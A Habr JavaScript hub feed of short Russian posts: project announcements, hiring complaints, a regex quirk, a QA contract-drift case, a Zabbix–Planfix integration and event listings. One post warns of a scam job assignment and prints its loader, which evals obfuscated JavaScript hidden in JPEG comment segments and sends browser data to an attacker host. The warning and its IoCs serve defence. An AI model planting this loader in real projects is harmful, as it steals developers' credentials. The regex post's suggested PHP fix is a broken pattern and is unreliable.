Обновить
256K+

JavaScript *

Прототипно-ориентированный язык программирования

269,09
Рейтинг
Сначала показывать
Порог рейтинга

Представлен открытый проект WebKit CSSFontFace Exploit for PS4/PS5, который прошивает игровую консоль меньше чем за минуту. Работает через подмену кода в браузере: пока WebKit пытается считать CSS-код страницы, запускается эксплойт системы. Решение запускается на прошивках с версиями от 6.00 до 11.02 и совместимо с kernel-эксплойтом для версий 7.00–11.02, позволяя запускать HEN и другие пэйлоды. Минусы проекта: перепрошивку придётся активировать при каждом перезапуске консоли.

Теги:
+7
Комментарии0

Превращаем свой почерк в устанавливаемый шрифт. Вышел открытый навык draw-your-font для Claude Code, который собирает полноценный TTF по фотографии. Достаточно написать алфавит на листе бумаги, сфотографировать его и загрузить снимок в Claude. Нейросеть сама распознает буквы, очистит изображение и соберет готовый шрифт. Если какая-то буква получилась неудачно, Claude заметит это и предложит переписать символ перед финальной сборкой.

Теги:
+5
Комментарии0

Фронтенд для души, бэкенд для людей!

Мастер по разводу холивар
Мастер по разводу холивар

Были приняты меры погрузиться под воду дабы показать серьезность моих намерений в данной щепетильной теме.

Фронтенд весь такой разносторонний, креативный, местами легкий, местами настолько сложный что ломаешь голову. Напрашивается клеймо "для любителей".

Бэкенд наоборот поддерживает порядок и структурность. Меньше экспериментов и больше проверенных решений, самое то для "сделал работу - пошел спокойно домой".

Теги:
+2
Комментарии1

Представлен открытый проект Send it, with PairDrop (веб-версия проекта) — AirDrop для всех. Это универсальный способ передачи файлов на ПК и мобильных устройствах в браузере между Windows, Linux, Android, iOS, macOS и другими ОС:

  • работает без скачиваний драйверов и утилит и дополнительного ПО;

  • просто открываем сайт на обоих устройствах в браузере и начинаем передачу;

  • если используете одну сеть Wi‑Fi — устройства сразу увидят друг друга;

  • если используете разные сети — нужно один раз ввести шестизначный код, создать пару устройств, и дальше устройства будут находить друг друга автоматом;

  • передача файлов идем напрямую между устройствами;

  • можно передавать большие объёмы данных без ограничений.

Теги:
+6
Комментарии0

Хай, коллеги!

Около полутора месяцев назад, работая над задачей дообучения локальной модели ИИ, я наткнулся на Modern Web Guidance - сборник руководств (skills - навыков) по современной веб-разработке для агентов ИИ от команды Google Chrome. Ознакомившись со сборником, я понял, что большинство руководств человекам тоже не помешали бы😄 Так появился этот репозиторий. Основная работа над руководствами завершена. Любые исправления, замечания и предложения приветствуются. Пользуйтесь на здоровье и счастливого кодинга!

Теги:
+4
Комментарии1

Про перегрев рынка разработчиков не писал только ленивый, мне даже кажется, что среди фронтов проблема найма стоит острее, так как порог вхождения туда не так высок. Найти хорошую работу спецу во фронте, кажется стало сродни поймать золотую рыбку, хотя некоторым это удаётся.

Даже если отправить пол сотни откликов с резюме опытного фронта на hh, с небольшими зарплатными требованиями, не факт, что хоть в одной фирме тебя позовут на собес.

Более того, у этой проблемы есть и вторая сторона: совсем молодые выпускники курсов, самоучки, большинство из которых даже не окончили вуз или даже еще никуда не поступили, оценивающие себя как сеньора или минимум мидла, по причине огромной наглости или глупости, в силу везения или неграмотного рекрутера попадают на работу без должной оценки и выбивают себе высокие зп, порой не меньше чем у старых сотрудников, конечно как правило их увольняют, но к этому моменту они успевают попортить продукт и нервы тем сотрудникам, кто будет пытаться их учить.

Примерно так во многих местах работает найм
Примерно так во многих местах работает найм

Кажется, что квалификация многих новых разрабов, особенно фронтов, сейчас очень низка, также как и тех кто ведёт их найм, и это не в единичных фирмах, я сталкивался с таким в половине мест где я работал.

Также сдаётся мне, что hh совершенно не подходит для поиска работы разработчиком.

В связи с этим хотел бы попросить совета у коллег по цеху, особенно фронтовиков, в форме трех следующих вопросов:
1. Где лучше искать работу, на каком ресурсе?
2. Замечаете ли вы, что hr часто набирают не тех кто реально способен, а тех кто умело врет или красиво улыбается?
3. Стоит ли искать работу фронту или стоит сменить профессию?

Теги:
Всего голосов 5: ↑5 и ↓0+8
Комментарии14

Привет. Я пишу бэкенд на Go, люблю строгую типизацию и предсказуемость. Но игнорировать тему ИИ-ассистентов глупо, поэтому я решил проверить, насколько они применимы для сборки нормального, защищенного проекта, а не просто кривых прототипов.

Чтобы эксперимент был чистым, взял стек, с которым не работаю каждый день: Node.js (Express 5) и Vanilla JS. На выходе получился хаб с утилитами: https://toolkitch.ru/

Главная идея проекта - простые инструменты средствами компьютера. Меня всегда раздражало, что популярные онлайн-сервисы гоняют данные на свои сервера, хотя по факту это может выполняться на компьютере. Здесь инструменты работают строго client-side, то есть в браузере пользователя. Ничего не устанавливал и не скачивал, но выполнил на компьютере.

По технической части:

  • Express 5 и Bootstrap 5.

  • Безопасность: настроил Helmet, прописал строгие CSP заголовки и CORS.

  • Деплой: GitHub Actions -> Docker Hub -> docker-compose -> Traefik с авто-SSL.

Писать код помогал ИИ-ассистент KodaCode. Впечатления положительные: нейронка полностью сняла с меня рутину вроде написания докер-файлов, конфигов Traefik и однотипной верстки под 7+ разных инструментов. Моя задача сводилась к контролю архитектуры и безопасности.

Сайт оптимизировал в том числе под ИИ-поисковики (GEO/AEO), чтобы тот же Яндекс Нейро или Perplexity могли индексировать страницы и предлагать эти утилиты пользователям по прямым запросам.

Посмотреть, что получилось, можно по ссылке выше. Будет интересно узнать, как вы используете ИИ в своей инженерной рутине, и какие специализированные плагины/инструменты можете порекомендовать. За критику по UI/UX сайта также буду благодарен.

Теги:
Всего голосов 4: ↑4 и ↓0+6
Комментарии1

Хай, коллеги!

Около месяца назад, работая над задачей дообучения локальной модели ИИ, я наткнулся на Modern Web Guidance - сборник руководств (skills - навыков) по современной веб-разработке для агентов ИИ от команды Google Chrome. Ознакомившись со сборником, я понял, что большинство руководств человекам тоже не помешали бы😄 Так появился этот репозиторий. Большая часть руководств, выбранных мной для перевода и адаптации, уже готова. Любые исправления, замечания и предложения приветствуются. Пользуйтесь на здоровье и счастливого кодинга!

Теги:
Всего голосов 5: ↑5 и ↓0+9
Комментарии0

Представлен открытый проект Navidrome Music Server, который позволяет слушать музыку с ПК где угодно. Работает очень просто: пользовательский ПК превращается в сервер, к которому можно получить доступ с любого устройства. Есть демо-версия проекта, чтобы понять принцип работы.

Теги:
Всего голосов 1: ↑1 и ↓0+3
Комментарии0

Ваш худший кошмар, или простой regex, который удивит даже опытных программистов.

re.match(r"^abc$", "abc\n") # python
/^abc$/.test("abc\n") // Javascript
preg_match("/^abc$/", "abc\n"); // PHP

Не читайте дальше, попробуйте угадать какой вывод будет у каждого из вариантов?

False?

True ?

Правильный ответ:

False
True
False

Живите с этим :)

Всё дело в том, что в PCRE $ означает не "конец строки", а "конец строки, или позиция перед \n в конце строки". А в ECMAScript это не так.

Лично я думал, что должно быть False, но регулярные выражения продолжают меня удивлять спустя много лет.

Правильный regex для точного совпадения с концом строки:

re.match(r"^abc\Z", "abc\n")
// javascript идеален, нечего исправлять :)
preg_match("/^abc\p/", "abc\n")

== false

Теги:
Всего голосов 10: ↑7 и ↓3+8
Комментарии3

Почему тесты проходят, но система всё равно сломана

Классы скрытых ошибок в QA automation, которые не приводят к падению CI

Пайплайн прошёл. Логи без ошибок. Значит всё работает.

Но в реальных QA automation системах это предположение часто не выдерживает проверки.

Тесты могут проходить, даже если система сломана.

И это не редкий edge case. Есть несколько типов проблем, которые не приводят к падению CI:

  • False positives — тест подтверждает поведение, которое уже не соответствует бизнес‑логике. Проверка формально зелёная, смысл потерян.

  • Missing assertions — тест проходит, потому что не проверяет ничего критичного.

  • Flaky suppression — флаки ретраят или игнорируют. Шум скрывает реальные проблемы, CI выглядит стабильным.

  • Duplicated execution — один и тот же набор тестов запускается несколько раз из‑за конфигурации runner'а.

  • Contract drift — API или поведение системы меняется, но тесты продолжают проверять старые ожидания. Пока не появится явный конфликт — всё зелёное.

В проекте была добавлена пагинация к одному из API эндпоинтов. До изменения ответ выглядел так:

json [{ "id": 1 }, { "id": 2 }]

После — так:

{ "data": [...], "total": 10, "page": 1, "limit": 20 }

API тесты не упали: они проверяли статус и структуру нового формата — всё корректно.

Я была уверена что если API возвращает 200 и схема верна — клиент получает данные.

Но в клиентском коде была строка:

cachedRows = Array.isArray(rows) ? rows : []

Для объекта Array.isArray возвращает false. Список записей стал пустым.

Формально всё работало корректно. Просто данных больше не было.Никаких ошибок в консоли. Никакого 500. Просто пустая страница.

CI остался зелёным — потому что API тесты проверяли API, а не то, как клиент использует ответ.

Дальше сработал каскад: fixture teardown тоже вызывал этот эндпоинт, получал объект вместо массива, не чистил данные — и следующие тесты падали с совершенно другой ошибкой, в совершенно другом файле.

Три теста упали из-за одного изменения shape ответа.

Ни один из них не указал на настоящую причину.

Почему CI это не ловит

CI отвечает на вопрос: «выполнились ли тесты без ошибок?»

Но не отвечает на: «имеют ли тесты смысл относительно текущей системы?»

CI реагирует только на падения. Он не знает про бизнес-инварианты, не отслеживает правильность выполнения и не видит contract drift.

Что с этим делают в зрелых системах

Начинают появляться дополнительные слои:

  • контрактные тесты (contract testing) — фиксируют ожидания потребителя API

  • явно наблюдаемость тестов — метрики не как %, а как сигналы поведения

  • контроль изменений API через diff-инструменты

Ни один из них не заменяет хорошие тесты. Но каждый закрывает слепое пятно, которое тесты не видят.

Финальный вывод

Тесты не доказывают, что система работает.

Они только доказывают, что система не сломалась определённым способом.

Признаки сбоя

  • CI зелёный

  • UI показывает пустой список

  • API возвращает 200

  • fixture teardown не чистил данные, занимал слот

Скрытое предположение

«Я решила что статус 200 означает, что потребитель по‑прежнему правильно читает ответ»

Как это выглядит в реальной системе

Contract drift — один из тех классов ошибок, которые можно воспроизвести намеренно. В проекте есть buggy branch именно с этим кейсом: API возвращает изменённый shape ответа, все API тесты зелёные, но клиентский код получает пустой список — без ошибок, без 500, просто тишина.

Код и структура проекта: GitHub

Из серии «Тихие отказы в тест-автоматизации»

Разборы таких кейсов с кодом — в Telegram-канале Тесты как система

Теги:
Всего голосов 3: ↑1 и ↓2-1
Комментарии0

Насколько сложный проект можно сделать бесплатно в 2026 году?

Всем привет!
Часто вокруг пишут, как ИИ помогает им «сделать SaaS за выходные», хайпят свои проекты и рассказывают про «миллион фич». Решил я проверить: а что реально можно сделать в 2026 году, если использовать только бесплатные тарифы и не тратить деньги?

Спойлер: получилось достаточно много.

Проект полностью экспериментальный — положится в портфолио.

Я решил сделать большой каталог, и выбрал в качестве товара приложения — PWA приложения — вдохновлялся App Store.

Что в итоге умеет платформа

Для пользователей:

- Личный кабинет с библиотекой своих приложений и избранным

- Можно оставлять комментарии, отзывы, лайки

- Сортировка по категориям, похожим на те, что в App Store

- Поиск приложений умный, использует векторное пространство имен от Google

- Приложения ранжируются по рейтингу — расчет по известной байесовской формуле — учитывает количество установок, отзывов, лайков и качество комментариев

- Задействованы, кажется, все методы установки на топ известных браузеров: от новой (2024) в один клик прямо с нашей платформы — для обладателей Chrome на ПК/Android — до пошаговых интерактивных инструкций в тех браузерах, где установка сложна или запутана

- 20 языков, 2 темы, работает офлайн. Сама платформа — тоже PWA.

Для разработчиков:

- Полноценный кабинет разработчика: управление/настройка приложений

- ИИ-перевод на 20 языков при публикации

- Импорт данных приложения со страниц AppStore и RuStore

- Автогенерация промо-картинки приложения + автопубликация в Pinterest

- Встраиваемый install-скрипт — один тег <script> на сайте разработчика добавляет умную кнопку установки

- 3 разных способа верификации приложений

Контентная часть:

- Масштабируемые промо-лендинги о преимуществах PWA

- Статьи-гайды по установке популярных приложений

- Для админа тоже есть свой интерфейс с множеством настроек

БД (Postgres + pgvector)
Supabase — $0

Серверные функции
Vercel + Edge Functions — $0

Фронтенд
Vercel — $0

ИИ с API (переводы, эмбеддинги)
Gemini — $0

Умный поиск
Google Generative Language API + Gemini

Email
Resend — $0

Авторизация
Supabase Auth (Google, GitHub, Discord, GitLab и др.) — $0

Есть пару оговорок:

- Cursor 20$ в месяц — но я и без проекта его покупал

- и доменное имя wapps.store — 8$ за год. Можно было использовать то, что предоставляет Vercel бесплатно

Меня как фронтенд разработчика впечатлил масштаб бесплатных сервисов — да действительно можно реализовать свою задумку и протестировать её на будущих пользователях.

Однако надо понимать:

- бесплатные тарифы не потянут каких-то весомых нагрузок

- вайбкодить, не понимая, что генерирует нейронка — ну такое себе. Она стабильно ошибается каждый 2–3 раз и часто просто делает дикие вещи

- ну и времени приходится потратить немало, поэтому стоит подумать несколько раз: нужно ли тебе что-то такое просто «потестировать»

Поделитесь своими примеры или существующими проектами - будет интересно!

Теги:
Всего голосов 1: ↑0 и ↓1-1
Комментарии5

Как я связал Zabbix и таск-трекер в обе стороны без отдельного сервиса У меня боевой Zabbix 7.0 на ~260 хостов, а заявки дежурной смены живут в Planfix. Уведомления в Telegram или Matrix никто не отменял, но когда над инцидентами работает смена, мессенджер неудобен: не видно, кто взял проблему, нет статусов и истории по задаче, сложно готовить отчеты. Хотелось, чтобы проблема мониторинга сама заводила задачу в трекере, а действия с задачей возвращались обратно в Zabbix, и всё это без сервиса-прослойки.

Очевидные пути отмёл сразу:

  • Бот или демон - ещё один процесс, который сам надо мониторить: новая точка отказа в системе, которая как раз следит за отказами.

  • Почта с парсером - не возвращает id созданной задачи обратно в Zabbix, и потом нечем связать восстановление триггера с конкретной строкой в трекере.

Требование «вернуть id задачи на событие» и определило всю архитектуру.

Прямое направление: Zabbix → трекер Собрал на штатном media type типа Webhook: один JS-скрипт по флагам события решает, какой эндпоинт трекера дёрнуть. Интереснее, где хранить связь «проблема ↔ задача». Внешнюю БД соответствий заводить не стал, обошёлся тегами события. При создании задачи скрипт возвращает Zabbix теги __zbx_planfix_taskid и __zbx_planfix_link; при process_tags=1 они вешаются на событие, и все последующие операции (подтверждение, закрытие, отмена) находят ту же задачу по тегу. Состояние живёт прямо на событии, отдельное хранилище не нужно.

Что всплыло уже в бою: отмена эскалации Уведомление «Escalation canceled» (эскалацию погасили, отключив хост или триггер) приходит с теми же флагами, что и новая проблема: event_value=1, event_update_status=0. Не различишь - скрипт примет отмену за новую проблему, заведёт дубль, и задача зависнет открытой навсегда: OK-события не будет, закрывать нечем. Поэтому скрипт сначала ищет в тексте уведомления фразу «Escalation canceled» и, только если её нет, считает событие новой проблемой. Подтверждение и снятие различаю по макросу {EVENT.UPDATE.ACTION}: в первой строке update-сообщения он разворачивается в acknowledged или unacknowledged - по этому слову задача уходит «в работу» или возвращается исполнителю по умолчанию.

Обратное направление - и оно оказалось самым интересным Делается средствами самого трекера, без отдельного сервиса. В Planfix это автоматический сценарий: событие «задача принята», условие «проект = ZABBIX», операция - POST в JSON-RPC API Zabbix, метод event.acknowledge с action=6 (подтвердить + добавить комментарий). Event ID берётся из поля задачи, того самого, что прилетел при создании. Главное: обратный вызов несёт email сотрудника, и подтверждение с комментарием проставляются в Zabbix от имени этого человека, а не безликого сервисного аккаунта. В истории события видно, кто реально взял проблему - тот, на кого назначена задача в трекере.

Что ещё пришлось учесть

  • maxsessions=1 обязателен, иначе закрытие может обогнать создание, и правка придёт по ещё не существующей задаче.

  • Создание задачи не идемпотентно: при ретраях возможен дубль (из Zabbix не узнать, дошёл ли запрос на самом деле), поэтому дедуп по event_id на стороне трекера обязателен - у меня он пока в планах.

  • Шумовой фильтр - через эскалацию: операция на шаге 2 плюс условие «подтверждено = нет», иначе проблемы, мигающие по 30 секунд, плодят задачи.

Итог: ноль дополнительных демонов, обе системы синхронны, связь хранится на самом событии. Для одной пары систем это окупается. Но чем больше разных систем хочется соединить между собой, тем громче вопрос об оркестраторе: точечные вебхуки перестают масштабироваться, хотя единая шина и есть та самая прослойка, которую потом сам обслуживаешь. Сейчас как раз думаю в эту сторону. Чем вы сшиваете зоопарк систем - оркестратором или точечными интеграциями, и где у вас прошла граница?

Теги:
Всего голосов 3: ↑2 и ↓1+1
Комментарии0

Ближайшие события

⚠️ Скам через Хабр Карьеру: «тестовое задание» fullstack-вакансии содержит инфостилер

Привет, Хабр. Короткий пост-предупреждение.

Получил отклик на Хабр Карьере на вакансию fullstack-разработчика заграницу, оклад 4-5к$/мес. Его аккаунт на Хабр Карьера
Общение переводят в Telegram, на аккаунт @capdice. Прислали репозиторий с «тестовым заданием»: компания Suarts (домен suarte.art), репозиторий, задача — «интегрировать криптоплатёжный сервис».

С виду — обычный Node.js + React монорепо. Само задание безобидное. Подляна — в остальной части репо.

Два артефакта:

  • server/back.jpg — выглядит как JPEG, но в сегментах 0xFFFE (COMMENT-маркер) лежит ~270 КБ обфусцированного JavaScript.

  • server/app/services/log.service.js — функция addLogsForAssets читает JPEG, вытаскивает COMMENT-сегменты и прогоняет через eval(). Вызов на верхнем уровне модуля — выполняется при каждом require() сервиса, до подключения к БД.

function addLogsForAssets(imgPath) {
  const imlog = fsr.readFileSync(imgPath);
  let i = 2;
  const chunks = [];
  while (i < imlog.length) {
    if (imlog[i] !== 0xFF) break;
    const marker = imlog[i + 1];
    const length = imlog.readUInt16BE(i + 2);
    if (marker === 0xFE) {                      // JPEG COMMENT marker
      const data = imlog.subarray(i + 4, i + 2 + length);
      chunks.push(data);
    }
    i += 2 + length;
  }
  eval(Buffer.concat(chunks).toString('utf8')); // ← payload
  return true;
}
addLogsForAssets(pathr.join(process.cwd(), 'back.jpg'));

Payload эксфильтрует на cookieshop.cloud/uploads профили Chrome / Opera / Yandex, Windows AppData, macOS Keychain. Подкачивает портативный Python с github.com/indygreg/python-build-standalone/releases/ (подготовка к запуску Python-стилера) и запускает скрытый дочерний процесс через spawn(..., {detached: true, windowsHide: true}). Классический браузерный инфостилер: пароли, куки, токены.

IoC:

Артефакт SHA-256 server/back.jpg be7c30d92a93f4923aca047811303c3d2f6a754b13b7f06019e274cbdee3eee4 server/app/services/log.service.js 7ccf797ecd5716c2e6bc7d3f635654b11520515538051243c73547576ac9f740

Хост эксфильтрации: cookieshop.cloud

Если запускал бэкенд. Загрузчик отрабатывает до подключения к MongoDB — даже если видел ошибку базы, payload уже выполнился. Что делать сразу:

  • Сменить пароли в браузерах (Chrome / Brave / Edge / Yandex / Opera)

  • Отозвать GitHub PAT, пересоздать SSH-ключи на GitHub / GitLab / Bitbucket

  • Сменить credentials в ~/.aws/, ~/.config/gcloud, ~/.config/heroku

  • Завершить все сессии: https://github.com/settings/sessions

  • Прогнать антивирус

Чек на будущее. Тестовые задания от непроверенных работодателей — только в одноразовой ВМ. eval() над содержимым файла — никогда не легитимный паттерн. Картинки в папках бэкенд-сервисов — красный флаг (file back.jpg, strings back.jpg | head).

На паттерн указал Claude Code при первичном проходе. AI для security-аудита неизвестного кода — рабочая практика.

Видели тот же back.jpg, cookieshop.cloud или @capdice — напишите.

Более быстрый способ ловить подобные алерты - мой канал

Теги:
Всего голосов 59: ↑59 и ↓0+71
Комментарии3

Далее на Holy JS: собираем новую методологию вместо FSD и деплоим резюме

Друзья, мы собираемся на Holy JS —  крупнейшей конфе про разработку с разных ракурсов. 

Дима Дин, фронт-тимлид Далее
«FSD — это беда, спасет только FDA!».
Доклад с разбором методологий и экспериментом — созданием альтернативной архитектуры, которая будет отвечать ожиданиям разработчиков. 
15.05 / 19.00-19.45 / зал 2

Ника Варако, HR-менеджер Далее 
«Резюме как продукт: UX, баги и деплой на рынок вакансий».
Воркшоп, на котором Ника покажет примеры и антипримеры резюме, даст советы и лайфхаки по сопроводительным письмам, а главное — расскажет, как дотянуться до рекрутера в настоящих условиях найма. 
14.05 / 19.45-20.45 / зал 1 (keynote)

Приходите на Holy JS, ждем в зале и на нетворке!

Теги:
Всего голосов 1: ↑1 и ↓0+1
Комментарии0

Долгое время думала, что использовать паттерны на фронте незачем и это больше тема для собесов

Но недавно все-таки удалось использовать паттерн фабрику для фронта и моему счастью не было предела, когда после 30-минутного рефакторинга разъехавшейся вёрстки через Claude, я попросила: "брат, слушай это ж паттерн фабрика, сделай BaseModal тонким, который просто решает, какой компонент отрисовать"

Технически, классический GoF Factory Method подразумевает наследование, а здесь у меня скорее Simple Factory — функция, выбирающая что создать. Но в обиходе все называют это "фабрикой", и я не буду усложнять.

Классический паттерн фабрика на Java:

// Интерфейс
interface Modal {
    void open();
    void close();
}

// Конкретные реализации
class Dialog implements Modal { ... }
class BottomSheet implements Modal { ... }
class FullscreenSheet implements Modal { ... }

// Фабрика — решает какой класс создать
class ModalFactory {
    static Modal create(String type, boolean isMobile) {
        if (!isMobile) return new Dialog();

        return switch (type) {
            case "bottom-sheet" -> new BottomSheet();
            case "fullscreen"   -> new FullscreenSheet();
            default             -> new Dialog();
        };
    }
}

// Использование
Modal modal = ModalFactory.create("bottom-sheet", isMobile);
modal.open();

Как это работает во Vue?

На фронте есть <component :is="..."/> - динамический компонент, который рендерит то, что ему передадут. Это и есть наш аналог ModalFactory.create(...).

<!-- BaseModal.vue — фабрика -->
<template>
    <component
        :is="modalComponent"
        v-bind="$props"
        @close="emit('close')"
    >
        <slot />
    </component>
</template>

<script setup>

// Фабричный метод — выбирает компонент
const modalComponent = computed(() => {
    // Desktop → всегда Dialog (центрированный)
    if (!isMobile.value) return BaseDialog

    // Mobile → зависит от mobileStyle
    switch (props.mobileStyle) {
        case 'fullscreen':
            return BaseFullscreenSheet
        case 'bottom-sheet':
            return BaseBottomSheet
        default:
            return BaseDialog
    }
})
</script>

Получился BaseModal, который сам почти ничего не делает.

Он не знает, как устроен dialog.
Не знает, как анимируется bottom sheet.
Не знает, как выглядит fullscreen-модалка.

Он просто маршрутизирует:

BaseModal.vue  
  ├─ BaseDialog.vue    
  ├─ BaseBottomSheet.vue    
  └─ BaseFullscreenSheet.vue  

А каждая конкретная реализация живёт отдельно и отвечает только за себя.

Почему это лучше, чем один большой компонент?

Потому что большой универсальный компонент очень быстро превращается в кашу:

<!-- Каша в template -->
<div
    class="modal"
    :class="{
        'modal--open': open,
        'modal--mobile': isMobile,
        'modal--desktop': !isMobile,
        'modal--fullscreen': isMobile && mobileStyle === 'fullscreen',
        'modal--bottom-sheet': isMobile && mobileStyle === 'bottom-sheet',
    }"
>

А потом туда добавляются:

  • разные анимации

  • разные отступы и размеры

  • разное поведение закрытия

  • разные transition

  • разные layout-правила

И компонент, который должен был быть базовой модалкой, внезапно становится местом, куда страшно заходить.

С фабрикой проще:

  • BaseDialog отвечает за centered dialog

  • BaseBottomSheet отвечает за bottom sheet

  • BaseFullscreenSheet отвечает за fullscreen

  • BaseModal только выбирает, что показать

То есть вместо одного монолита появляется тонкий слой выбора и несколько изолированных компонентов.

И кстати, поделитесь: насколько паттерны актуальны сейчас? Или про них всё рассказали 20 лет назад и хватит говорить о них?

Теги:
Всего голосов 4: ↑3 и ↓1+2
Комментарии3

Как настроить доступ к Избранному — без ЛК и авторизации на сайте

Привет, Хабр! Меня зовут Катя Плаксина, я фронтенд-разработчик в Далее. Хочу поделиться решением, которое позволило реализовать возможность сохранения в Избранное без авторизации для пользователей одного крупного портала.

Почему стало необходимо реализовать такое решение? Во-первых, необходимость авторизации — одна из причин высоких отказов на сайте. Таким образом, мы просто облегчаем путь пользователя до цели. Во-вторых, без авторизации мы не собираем персональные данные, а значит, минимизируем риски, связанные с их хранением и передачей.

В чем технический вызов

Если страница работает через SSR, например, на Astro, серверу нужны данные заранее. Но если весь «источник правды» лежит в localStorage, сервер их не видит — браузерное хранилище доступно только на клиенте. 

Без дополнительной логики страница будет рендериться пустой или требовать авторизации и бэкенда. Нужен промежуточный слой, который позволит передать минимальное состояние Избранного на сервер.

Разделяем хранилище на два слоя

Полный стейт Избранного остается в localStorage — там можно хранить существенно больше данных, чем в cookie, и удобно управлять состоянием на клиенте. 

Легкий SSR-снапшот размещаем в cookie, кладем только favorites_preview:

  • первые 3–4 ID в каждой категории,

  • активные теги,

  • размер.

Сервер читает cookie и рендерит превью Избранного.

Что происходит после гидратации

Когда страница загрузилась, клиент сравнивает cookie и localStorage, дотягивает расхождения, корректно показывает или скрывает пустые состояния.

Чтобы избежать ошибок:

  • Добавляем mounted-флаг — не используем браузерные API во время SSR.

  • Настраиваем синхронизацию между вкладками через системное событие storage.

  • Используем кастомное событие favorites:changed для текущей вкладки. Storage в ней не срабатывает.

В итоге состояние Избранного остается консистентным во всех вкладках.

Почему не хранить всё только в cookie

Можно было ограничиться одним механизмом — хранить Избранное полностью в cookie. Но у такого подхода есть явные минусы:

  • cookie ограничены по объему,

  • перегрузка HTTP-запросов,

  • неудобное управление состоянием на клиенте.

Если хранить всё только в cookie, страдают производительность и масштабируемость решения.

Что получаем в итоге

  • На клиенте остается полноценное управление состоянием через localStorage.

  • Страница рендерится сразу с данными. Сервер читает легкий снэпшот из cookie и формирует превью избранного ещё до загрузки клиента.

Пользователь может вернуться к Избранному даже на следующий день — при заходе с того же устройства и браузера.

Буду рада узнать о вашем опыте реализации подобных задач в комментариях.

Теги:
Всего голосов 1: ↑1 и ↓0+1
Комментарии0
Герое-подобная игра в браузере
Герое-подобная игра в браузере

Поскольку в голосовании в предыдущей статье победил вариант с AI, сделал пока простенький его вариант.

Также теперь можно кликать два раза по гексу с противником, чтобы атаковать его (старый способ с выбором позиции атаки остался). Тачи поддерживаются.

На очереди: стрелки, летуны и статичные объекты.

Ссылки, чтоб потыкать: netlify, ITCH.

Теги:
Всего голосов 2: ↑1 и ↓1+2
Комментарии1

Мультиязычность. Ад для разработчика.

Сейчас для моего движка понадобилась мультиязычность. Ну как понадобилась - на гитхабе прозрачно намекнули, что негоже одной гордой cms для ведения блога быть сугубо на русском языке.

И понеслась...

Процесс перевода движка
Процесс перевода движка

Это хорошо, что сейчас есть нейросети и они здорово упрощают процесс перевода. Но - по старинке все делаю вручную, каждый файл...Сначала размечаю обыкновенными дефайнами либо класс контроллера, либо шаблона, ну а потом выношу это все в соответствующие языковые папки.

Вайбкодеры меня наверняка закидали бы тапками, мол - все можно автоматизировать и перевести хоть тонну файлов за 20 минут. Но - мне это не в кайф =)

Кто хочет помочь в процессе перевода, а заодно и движок потестить - милости прошу: https://github.com/pechoradev/BloggyCms

Теги:
Всего голосов 3: ↑3 и ↓0+3
Комментарии21

Вышла пятая версия открытого проекта windows95 с исходным кодом полностью на JavaScript. «Это Windows 95, работающая в приложении Electron. Да, это полная версия. Извините», — пояснил разработчик решения.

Проект работает в Windows, а также на macOS и Linux, что подарит вам ностальгию или возможность обойти ограничения старой операционной системы независимо от вашей текущей платформы.

Теги:
Всего голосов 6: ↑5 и ↓1+4
Комментарии2

Вместе с сообществом Moscow JS приготовили классную программу с двумя потоками докладов про:

  • performance и масштабирование фронтенда,

  • внедрение LLM в продукты и процессы,

  • изменение инженерной практики и культуры

От X5 Tech — сразу два прикладных кейса:

  • Как внедрять LLM в прод без перестройки архитектуры

  • Web-First в мобильных приложениях: офлайн, файлы, Workbox и ключевые подводные камни

Для тех, кто хочет поучаствовать в дискуссии — круглый стол с холиварами про переход на «бигтех-рельсы».

📆 30 апреля, 18:30
Москва, Мясницкая, 13, с20

🔗 Регистрация по ссылке

Программа:

«Перформанс без головной боли: Системная оптимизация фронтенда в большой команде» (Мирзоев Руслан, Premier.one)

Доклад основан на реальном опыте команды из 24 разработчиков, столкнувшихся с критическими показателями LCP. Мы разберем комплексный подход к ускорению продукта: от «фундамента» (анализ бандла, Tree Shaking и борьба с циклическими зависимостями) до продвинутых стратегий рендеринга, таких как ISR и оптимизация внутренних запросов при SSR (перевод на internal hosts).

Вы получите набор готовых рецептов по работе с ассетами (SVG, шрифты, сжатие) и узнаете, как выстроить культуру производительности с помощью Performance Budgets, чтобы предотвратить регрессии в будущем

«Веб-компоненты: плохая реализация хорошей идеи» (Евгений Кучерявый, larana.tech)

Разберёмся, почему веб-копмоненты не прижились, что нужно сделать, чтобы это исправить, и есть ли им место в современной фронтенд-разработке.

«LLM в продакшене: от идеи до внедрения за неделю» (Артем Шкуренко, Х5 Tech)

Интеграция языковых моделей в существующие продукты не требует масштабных изменений архитектуры. Покажу практические паттерны — от прямой интеграции через API до выделенных сервисов, которые позволяют запускать AI-функциональность за считанные дни.

В докладе — реальные кейсы: интеллектуальные таблицы, ассистенты и аналитика, а также разбор ключевых вызовов — контроль качества, предсказуемость результатов и стабильность работы.

«Вторая жизнь инженерных практик: как ИИ делает сложные подходы наконец-то удобными» (Вадим Царегородцев, Frontend Guild Lead в островке)

За последние годы индустрия накопила множество инженерных практик: ADR, Clean Architecture, TDD, архитектурные границы, строгие правила зависимостей.

Многие из них отличные на уровне идей, но на практике часто оказываются слишком дорогими и трудоёмкими: требуют много документации, boilerplate-кода и ручного контроля правил.

Появление LLM меняет эту ситуацию.

Интересно, что ИИ не столько создаёт новые подходы, сколько делает жизнеспособными старые идеи, которые раньше было сложно применять из-за высокой стоимости их поддержки.

В докладе я покажу несколько реальных примеров из production-разработки, где привычные инженерные практики получили вторую жизнь благодаря ИИ.

«А доки где? Пишем продуктовую документацию» (Егор Левченко, Wildberries & Russ)

У вас самый крутой уникальный продукт или сервис на рынке, вы знаете наверняка, что он делает и как им пользоваться. А понятен ли он вашему клиенту? Надо написать документацию, но как? Давайте разберёмся, чтобы потом не было больно.

«Секретная жизнь фотографий в Клубе Тайных Покупателей X5» (Артур Басак, Х5 Tech)

Поговорим о подходе Web-First в мобильных приложениях. В частности о том, как работать с файлами, про удобство и ограничения Workbox, нюансы оффлайн-режима и о какие подводные камни можно споткнуться.

Инженерная культура и переход на «бигтех-рельсы»

Круглый стол с экспертами: Глеб Михеев, Роман Троицкий (состав уточняется…)

Модератор: Иван Сизов, техлид фронтенд X5 Digital

Теги:
Всего голосов 3: ↑3 и ↓0+4
Комментарии0

Вторая часть курса по JavaScript уже доступна 💻

Привет, Хабр! Массивы, объекты, операторы, DOM — если вы еще не работаете с ними, проходите бесплатный курс «Первые шаги в JavaScript». Во время обучения вы освоите базовый синтаксис и конструкции языка, а затем напишете пет-проект.  

Вторая часть состоит из пяти модулей. После курса вы сможете:

  • изучать более продвинутые фреймворки и библиотеки;

  • понимать архитектуру простых веб-приложений;

  • писать скрипты, управлять DOM и изменять интерфейс веб-страниц.

